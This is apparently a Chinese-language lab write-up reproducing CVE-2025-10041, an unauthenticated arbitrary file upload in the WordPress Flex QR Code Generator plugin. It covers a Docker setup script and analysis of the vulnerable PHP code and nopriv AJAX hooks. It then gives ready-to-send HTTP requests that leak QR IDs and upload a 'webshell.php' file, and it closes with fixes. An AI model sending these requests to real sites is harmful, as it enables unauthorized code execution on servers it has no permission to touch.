0x0 背景介绍
WordPress的Flex QR Code Generator插件
在1.2.5及之前
的所有版本中,由于save_qr_code_to_db()
函数缺少文件类型验证,存在任意文件上传漏洞。这使得未经身份验证的攻击者能够在受影响站点的服务器上传任意文件,可能导致远程代码执行。
0x1 环境搭建
1. Ubuntu24+Docker环境复现
- 另存为install.sh并赋予执行权限chmod +x install.sh
bash
#!/bin/bash
echo "部署 WordPress Flex QR Code Generator 代码执行漏洞 (CVE-2025-10041)"
echo -e "\n======= 重建阶段 ======="
echo "[*] 创建新目录..."
mkdir -p /root/flexqrcode-cve && cd /root/flexqrcode-cve
# 创建 docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3.8'
services:
wordpress:
image: wordpress:6.5-php8.2-apache
container_name: flex-qrcode-vuln
ports:
- "8082:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wpuser
WORDPRESS_DB_PASSWORD: rootpass
WORDPRESS_DB_NAME: wordpress
volumes:
- ./wp-content:/var/www/html/wp-content
depends_on:
- db
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost"]
interval: 15s
timeout: 10s
retries: 6
db:
image: mariadb:10.11
container_name: flexqrcode-db
environment:
MYSQL_ROOT_PASSWORD: rootpass
MYSQL_DATABASE: wordpress
MYSQL_USER: wpuser
MYSQL_PASSWORD: rootpass
volumes:
- db_data:/var/lib/mysql
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-u", "root", "-prootpass"]
interval: 10s
timeout: 5s
retries: 10
volumes:
db_data:
EOF
echo "[+] 启动 Docker 环境..."
docker compose up -d
# 等待 WordPress 安装页面就绪
echo "[*] 等待服务启动..."
until [ $(curl -s -w %{http_code} -o /dev/null http://localhost:8082/wp-admin/install.php) -eq 200 ]; do
echo -n "."
sleep 2
done
echo -e "\n[√] 服务已就绪"
# 下载漏洞插件
echo "[+] 下载 Flex QR Code Generator 插件 v1.2.5"
PLUGIN_URL="https://downloads.wordpress.org/plugin/flex-qr-code-generator.1.2.5.zip"
if ! wget -q "$PLUGIN_URL"; then
echo "[!] 下载失败,尝试使用 GitHub 镜像加速..."
wget -q "https://mirror.ghproxy.com/$PLUGIN_URL" || {
echo "[!] 所有下载源均失败,请检查网络或链接。"
exit 1
}
fi
# 安装 unzip(如果未安装)
if ! command -v unzip &> /dev/null; then
echo "[*] 安装 unzip 工具..."
apt-get update -qq > /dev/null && apt-get install -y -qq unzip > /dev/null
fi
# 解压插件到 wp-content/plugins/
echo "[*] 解压插件..."
mkdir -p wp-content/plugins
unzip -q flex-qr-code-generator.1.2.5.zip -d wp-content/plugins/
# 设置正确权限
echo "[*] 设置文件权限..."
docker exec flex-qrcode-vuln chown -R www-data:www-data /var/www/html/wp-content
echo -e "\n======= 部署完成 ======="
echo "📌 访问地址: http://localhost:8082"
echo "🔧 安装配置建议:"
echo " - 站点标题: Flex QR Code Generator RCE 漏洞测试 (CVE-2025-10041)"
echo " - 用户名: admin"
echo " - 密码: 设置强密码"
echo " - 电子邮箱: cve-2025-10041@test.local"
echo
echo "✅ 登录后台启用插件:"
echo " http://localhost:8082/wp-admin/plugins.php"
echo " 手动启用 'Flex QR Code Generator' 插件"
echo
echo "💡 漏洞说明:"
echo " CVE-2025-10041 是一个潜在的远程代码执行(RCE)漏洞,"
echo " 可能存在于 flex-qr-code-generator <= 1.2.5 版本中。"
2. web安装成功后,需手动启用插件:
- 这里不放图了.jpg
0x2 漏洞复现
手动复现步骤
- 未授权文件上传
python检测
bash
https://github.com/Kai-One001/cve-/blob/main/CVE-2025-10041.py

复现流量特征 (PACP)
0、上传一句话
2、后续Shell
命令执行:
0x3 漏洞原理分析
- 根据漏洞信息提示是
save_qr_code_to_db
函数存在问题,那么我们直接在IntelliJ IDEA Community Edition
中,右键项目-在文件中查找 或者(Ctrl+shift+F
快捷键),定位到一个qr-code-generator.php
文件
漏洞位置
漏洞位置:flex-qr-code-generator/qr-code-generator.php
关键函数:save_qr_code_to_db
注意到一个Logo上传功能
php
if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
$logo = $_FILES['logo'];
$upload_dir = wp_upload_dir();
$file_ext = pathinfo($logo['name'], PATHINFO_EXTENSION);
$file_name = pathinfo($logo['name'], PATHINFO_FILENAME);
// Create new filename with ID
$new_file_name = $file_name . '_' . $inserted_id . '.' . $file_ext;
$file_path = $upload_dir['path'] . '/' . $new_file_name;
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
$logo_url = $upload_dir['url'] . '/' . $new_file_name;
$logo_url = str_replace(home_url(), '', $logo_url);
// Update the database with the logo URL
$wpdb->update(
$wpdb->prefix . 'qr_codes',
['logo_url' => $logo_url],
['id' => $inserted_id]
);
}
}
- 这块问题就有了,只检查了
$_FILES['logo']['error'] === UPLOAD_ERR_OK
,典型没有检查文件扩展名或 MIME
类型 - 在注释
// Create new filename with ID
代码中能发现,落地文件可控,文件名格式为如下: - 其中
id
是刚插入数据库的自增ID
,响应体会显示
php
{original_name}_{id}.ext,
查找调用关系
- 通过全文搜索发现,Logo 上传功能被两个函数调用:
php
update_qr_code()
save_qr_code_to_db()
- 进一步查找这两个函数的注册钩子发现调用如下:
php
add_action('wp_ajax_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
// update qr
add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);
-
wp_ajax_nopriv_flexqr_save_qr
→ 调用save_qr_code_to_db()
-
wp_ajax_nopriv_flexqr_update_qr
→ 调用update_qr_code()
小知识:nopriv:WordPress 的 AJAX 机制
- 已登录用户:使用
admin-ajax.php
,通过action
参数触发对应的处理函数 - 未登录用户:也使用
admin-ajax.php
,但需要特别允许 nopriv
:no privilege
的缩写,意思是"无权限要求",当注册钩子为:wp_ajax_nopriv_xyz
,意味着:即使用户未登录,也可以调用这个接口。
其它实现姿势
所有未授权可访问的接口
php
add_action('wp_ajax_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
// update qr
add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_flexqr_fetch_qr_code', [$this, 'fetch_qr_code']);
add_action('wp_ajax_nopriv_flexqr_fetch_qr_code', [$this, 'fetch_qr_code']);
// search qr code by name
add_action('wp_ajax_flexqr_search_qr_code_by_name', [$this, 'search_qr_code']);
add_action('wp_ajax_nopriv_flexqr_search_qr_code_by_name', [$this, 'search_qr_code']);
// fetch contents by type
add_action('wp_ajax_flexqr_fetch_content_by_type', [$this, 'fetch_content_by_type']);
add_action('wp_ajax_nopriv_flexqr_fetch_content_by_type', [$this, 'fetch_content_by_type']);
那么如上的接口原理都可以未授权访问,这就有多姿势进行绕过了,介绍其中一种
上面复现脚本是直接上传RCE,注意区分
- 信息泄露+更新接口,组合拳->实现RCE
1、信息泄露获取id
已知,/wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
可以未授权查询当前文件如下构造
bash
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Content-Length: 18
per_page=50&page=1
响应 如下:
bash
{
"success": true,
"data": {
"qrCodes": [{
"id": "9",
"qr_name": null,
"text": "",
"qr_code_url": null,
"qr_image_url": null,
"tracking": "0",
"tracking_details": null,
"qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
"created_at": "2025-10-16 11:16:53",
"logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
},
{
"id": "8",
"qr_name": null,
"text": "https:\/\/example.com",
"qr_code_url": null,
"qr_image_url": null,
"tracking": "0",
"tracking_details": null,
"qr_data": "{\"data\":\"https:\/\/example.com\"}",
"created_at": "2025-10-16 11:01:53",
"logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
}
xxx
2、根据id
值进行更新上传
bash
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"
{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"
9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"
false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream
AiErBuDe
------WebKitFormBoundaryABC123--
成功响应
bash
{
"success": true,
"data": {
"message": "QR code updated successfully.",
"id": 9,
"finalUrl": "https:\/\/example.com"
}
}
3、请求验证是否更新成功
bash
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0
响应
bash
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8
AiErBuDe
- 由于
update_qr_code()
和save_qr_code_to_db()
均支持未登录调用nopriv
- 且上传逻辑 未校验文件类型
- 攻击者可通过 信息泄露获取
ID
,再通过update 接口
上传更新任意文件 - 最终实现 未授权文件上传 → RCE
0x4 修复建议
修复方案
- 升级到最新版本:已发布1.2.6版本,可更新1.2.6仓库;
- 临时缓解措施:
添加访问控制 :移除nopriv
钩子或添加适当的权限检查。
严格校验上传文件类型 :增加校验文件类型, 仍需避免绕过。
禁止上传目录执行 PHP : 在wp-content/uploads/.htaccess
实现。
上传文件重命名:避免原始文件名被利用或被猜测;
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。